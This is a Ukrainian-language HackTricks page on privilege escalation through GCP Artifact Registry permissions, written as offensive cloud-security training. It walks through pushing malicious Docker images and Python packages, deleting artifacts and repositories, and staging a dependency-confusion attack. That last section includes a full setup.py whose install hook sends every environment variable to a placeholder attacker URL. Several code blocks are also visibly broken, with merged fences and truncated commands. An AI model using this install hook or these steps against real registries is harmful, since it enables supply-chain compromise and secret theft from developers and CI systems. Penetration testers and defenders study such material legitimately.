GCP - Artifact Registry Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Artifact Registry
Для додаткової інформації про Artifact Registry дивіться:
artifactregistry.repositories.uploadArtifacts
З цим дозволом атакуючий може завантажувати нові версії артефактів з шкідливим кодом, наприклад Docker images:
Завантажити Docker image в Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> Було перевірено, що **можна завантажити новий шкідливий docker** image з тим самим ім'ям і tag, що вже присутній, тож **старий втратить tag**, і наступного разу, коли image з цим tag буде завантажено, **буде завантажено шкідливий**.
<details>
<summary>Завантажити Python бібліотеку</summary>
**Почніть зі створення бібліотеки для завантаження** (якщо ви можете завантажити останню версію з реєстру, ви можете уникнути цього кроку):
1. **Налаштуйте структуру проекту**:
- Створіть новий каталог для вашої бібліотеки, наприклад, `hello_world_library`.
- Всередині цього каталогу створіть ще один каталог з назвою пакета, наприклад, `hello_world`.
- Всередині каталогу пакета створіть файл `__init__.py`. Цей файл може бути порожнім або містити ініціалізації для вашого пакета.
<details>
<summary>Створити структуру проекту</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Напишіть код бібліотеки:
- Всередині каталогу
hello_worldстворіть новий Python-файл для вашого модуля, наприклад,greet.py. - Напишіть вашу функцію “Hello, World!”:
Створити модуль бібліотеки
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Створіть файл
setup.py:
- У корені вашого каталогу
hello_world_libraryстворіть файлsetup.py. - Цей файл містить метадані про вашу бібліотеку і вказує Python, як її встановлювати.
Створити setup.py файл
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Тепер давайте завантажимо бібліотеку:
- Зберіть пакет:
- З кореня вашого каталогу
hello_world_libraryвиконайте:
Збірка Python пакета
python3 setup.py sdist bdist_wheel
- Налаштуйте автентифікацію для twine (використовується для завантаження вашого пакета):
- Переконайтеся, що у вас встановлений
twine(pip install twine). - Використайте
gcloudдля налаштування облікових даних:
Завантажити пакет за допомогою twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Очистити збірку
Очистити артефакти збірки
```bash rm -rf dist build hello_world.egg-info ```Caution
Неможливо завантажити python-бібліотеку з тією самою версією, що вже присутня, але можна завантажити більші версії (або додати додаткове
.0в кінці версії, якщо це працює — хоча не для python), або видалити останню версію і завантажити нову з тією ж версією (потрібнийartifactregistry.versions.delete):**Видалити версію артефакту
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Маючи цей дозвіл, ви можете завантажувати артефакти та шукати чутливу інформацію й вразливості.
Завантажити Docker-образ:
Завантажити Docker-образ з Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Завантажити **python** бібліотеку:
<details>
<summary>Завантажити Python бібліотеку з Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- Що станеться, якщо віддалений і стандартний реєстри змішані в одному віртуальному реєстрі і пакет існує в обох? Перевірте цю сторінку:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Видалити артефакти з реєстру, наприклад docker images:
Видалити Docker image з Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Видалити повний репозиторій (навіть якщо він містить вміст):
Видалити репозиторій Artifact Registry
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Зловмисник із цим дозволом може надати собі права для виконання деяких із раніше згаданих атак на репозиторій.
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
Коли створюється Cloud Function, новий docker image завантажується в Artifact Registry проєкту. Я намагався замінити image на новий і навіть видалити поточний image (та cache image), але нічого не змінилося — cloud function продовжувала працювати. Отже, можливо можна зловживати Race Condition attack, як із bucket, щоб змінити docker container, який буде запущено, але лише модифікація збереженого image не дозволяє скомпрометувати Cloud Function.
- App Engine
Хоча App Engine створює docker images в Artifact Registry. Було перевірено, що навіть якщо ви зміните image всередині цього сервісу і видалите інстанс App Engine (тобто буде розгорнутий новий), виконуваний код не змінюється.
Можливо, що виконання Race Condition attack, подібної до тієї для buckets, може дозволити перезаписати виконуваний код, але це не було протестовано.
artifactregistry.repositories.update
Зловмиснику не потрібні спеціальні дозволи Artifact Registry, щоб експлуатувати цю проблему — достатньо вразливої конфігурації virtual-repository. Це трапляється, коли virtual repository поєднує remote public repository (наприклад, PyPI, npm) з internal, і remote source має рівний або вищий пріоритет. Якщо обидва містять package з однаковою назвою, система обирає найвищу версію. Зловмиснику потрібно лише знати назву internal package і мати можливість публікувати пакети у відповідний public registry.
За наявності дозволу artifactregistry.repositories.update зловмисник може змінити upstream-настройки virtual repository, навмисно створивши цю вразливу конфігурацію, і використати Dependency Confusion як метод персистенції, вставивши шкідливі пакети, які розробники або CI/CD системи можуть встановлювати автоматично.
Зловмисник створює шкідливу версію internal package в public repository з вищим номером версії. Для Python packages це означає підготувати структуру пакета, яка імітує легітимну.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Далі створюється файл setup.py, який містить шкідливий код, що виконається під час встановлення. Цей файл повинен вказувати номер версії вищий за той, що у приватному репозиторії.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Збудуйте пакет і видаліть wheel, щоб переконатися, що код виконається під час встановлення.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Завантажте шкідливий пакет до публічного репозиторію (наприклад, test.pypi.org для Python).
pip install twine
twine upload --repository testpypi dist/*
Коли система або сервіс встановлює пакет через віртуальний репозиторій, буде завантажено шкідливу версію з публічного репозиторію замість легітимної внутрішньої, оскільки шкідлива версія має вищий номер версії, а віддалений репозиторій має рівний або вищий пріоритет.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

